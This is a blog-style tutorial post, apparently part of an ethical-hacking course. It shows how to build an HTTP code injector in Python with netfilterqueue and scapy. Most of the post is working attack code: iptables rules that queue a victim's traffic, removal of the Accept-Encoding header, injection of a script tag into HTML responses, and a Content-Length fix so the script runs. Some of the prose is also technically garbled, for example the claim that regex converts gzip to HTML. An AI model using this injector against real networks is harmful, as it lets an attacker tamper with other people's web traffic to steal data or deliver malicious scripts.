WRITING A CODE INJECTOR

gzip IS use to compress HTML Encodings

Therefore when the browser sends the response it will first compress the response to a gzip format send it to us!

#IP-table FOR-REMOTE-PC

  • -RUN: iptables -I OUTPUT -j NFQUEUE --queue-num 0
  • -RUN: iptables -I INPUT -j NFQUEUE --queue-num 0


#IP-table FOR-LOCAL-PC
  • -RUN: iptables -I FORWARD -j NFQUEUE --queue-num 0

# CODE: BASE

  1. #!/usr/bin/env python
  2. import netfilterqueue
  3. import scapy.all as scapy


  4. ack_list = []

  5. def set_load(packet, load):
  6. packet[scapy.Raw].load = load
  7. del packet[scapy.IP].len
  8. del packet[scapy.IP].chksum
  9. del packet[scapy.TCP].chksum
  10. return packet


  11. def process_packet(packet):
  12. scapy_packet = scapy.IP(packet.get_payload())

  13. if scapy_packet.haslayer(scapy.Raw):

  14. if scapy_packet[scapy.TCP].dport == 80:
  15. print("[+] Request")
  16. print(scapy_packet.show())

  17. elif scapy_packet[scapy.TCP].sport ==80:
  18. print("[+] Responce")
  19. print(scapy_packet.show())


  20. packet.accept()

  21. queue = netfilterqueue.NetfilterQueue()
  22. queue.bind(0, process_packet)
  23. queue.run()

# CODE: MODIFYING TO SEE HTTP

  • WE DO THIS WITH THE HELP OF REGEX [https://pythex.org/]
  • PREVIOUSLY DONE IN MAC CHANGER ALGORITHMS DESIGN



# CODE: injector

  1. #!/usr/bin/env python
  2. import netfilterqueue
  3. import scapy.all as scapy
  4. import re


  5. def set_load(packet, load):
  6. packet[scapy.Raw].load = load
  7. del packet[scapy.IP].len
  8. del packet[scapy.IP].chksum
  9. del packet[scapy.TCP].chksum
  10. return packet


  11. def process_packet(packet):
  12. scapy_packet = scapy.IP(packet.get_payload())

  13. if scapy_packet.haslayer(scapy.Raw):
  14. load = scapy_packet[scapy.Raw].load

  15. if scapy_packet[scapy.TCP].dport == 80:
  16. print("[+] Request")
  17. load = re.sub("Accept-Encoding:.*?\\r\\n", "", load)



  18. elif scapy_packet[scapy.TCP].sport == 80:
  19. print("[-] Response")
  20. print(scapy_packet.show())
  21. injection_code = "<script>alert('hello-senpaii');</script>"
  22. load = load.replace("</body>", injection_code + "</body>")
  23. content_length_search = re.search("(?:Content-Length:\s)(\d*)", load)

  24. if content_length_search and "text/html" in load:
  25. content_length = content_length_search.group(1)
  26. new_content_length = int(content_length) + len(injection_code)
  27. load = load.replace(content_length, str(new_content_length))

  28. if load != scapy_packet[scapy.Raw].load:
  29. new_packet = set_load(scapy_packet, load)
  30. packet.set_payload(str(new_packet))

  31. packet.accept()


  32. queue = netfilterqueue.NetfilterQueue()
  33. queue.bind(0, process_packet)
  34. queue.run()

# THIS IS THE FINAL OUT-PUT

here in code we use regex to convert gzip format to HTML format and injected our desire code that will run during the execution of the code hence for example alert

the issue was with the length it was not executing the alert because

when we inject our code it increase its size SEE IN IMG-

so we targeted the length with the regex and added the length of our desire website + length of written code

new_content_length = int(content_length) + len(injection_code)



Post a Comment

If you have any doubts, please let me know

Previous Post Next Post